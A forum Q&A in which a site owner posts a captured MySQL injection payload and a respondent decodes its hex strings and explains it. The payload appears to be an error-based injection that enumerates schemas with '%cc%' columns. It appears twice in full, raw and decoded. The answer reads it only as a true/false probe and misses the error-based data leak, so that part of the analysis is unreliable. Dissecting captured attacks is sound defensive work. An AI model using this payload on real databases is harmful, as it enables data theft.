What is the nature of this SQL injection attack?

Question

I rather foolishly allowed SQL injection into my server under certain circumstances. However I can't quite see what the attack achieves, and how to repair whatever-it-is that was done.

This is the SQL in question:

'and(select 1  from( select count(*), 
concat(( select( select( 
select  concat(0x217e21,d. schema_name,0x217e21)  
from information_schema. schemata as d 
join information_schema. tables as t on t. table_schema = d. schema_name 
join information_schema. columns as c on c. table_schema = d. schema_name 
and c. table_name = t. table_name  
where not c. table_schema in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) 
and c. column_name like 0x25636325 
and not t. table_name in(0x616363657373,0x70687062625f7573657273)  
group by t. table_name  limit 2,1))  
from information_schema. tables  limit 0,1),floor(rand(0)*2))x  
from information_schema. tables  group by x)a) 
and '1'='1

(Newlines added for readability)

In effect this was inserted in this sort of scenario:

SELECT * FROM students WHERE name = '$name';

$name contains the above (I should have detected the quotes, at the very least). I had already detected and removed any semicolons in the name.

My questions:

• What does this do, exactly?
• How can I undo this, if that needs to be done?

---

I have amended this particular script to use parametrized queries, but I am wondering what else needs to be checked for. (In other words, what damage was done?)

Answer 1

I'm no MySQL Guru but this SQLi attack appears to just gather information about you schemas. I have attempted to improve the formatting and converted the hex encoded ascii like 0x217e21 to its text equivalent. I don't understand all of this SQL but there are no updates, no deletes, no inserts, no stored procedure or batch calls. So I can see no way this would modify your server or you database.

If the attacker prepended a known name into this query they could then establish if the middle part of the query evaluated to true (they would get the student record returned) or false (no student record returned).

It appears that the attacker is trying to determine if any of your column names contain the pattern '%cc%', I would guess they are attempting to see if you store credit card database in your DB. They could then modify this script to find out in which table this information is stored and then modify it once more to select from this table. Tools like SQLMap allow this to be done quickly and painlessly.

SELECT * FROM students WHERE name = '' and
(select 1  from( 
 select count(*), 
 concat(( 
    select( 
      select( 
        select  concat('!~!',d.schema_name,'!~!')  
        from information_schema.schemata as d 
        join information_schema.tables as t on 
            t.table_schema = d.schema_name 
        join information_schema. columns as c on 
            c.table_schema = d.schema_name and 
            c.table_name = t.table_name  
        where not c. table_schema in('information_schema','mysql') and
        c. column_name like '%cc%' and
        not t. table_name in('access', 'phpbb_users')  
        group by t. table_name  limit 2,1
      )
    )  
    from information_schema. tables  limit 0,1),
    floor(rand(0)*2))x  
from information_schema.tables  group by x
)a) 
and '1'='1'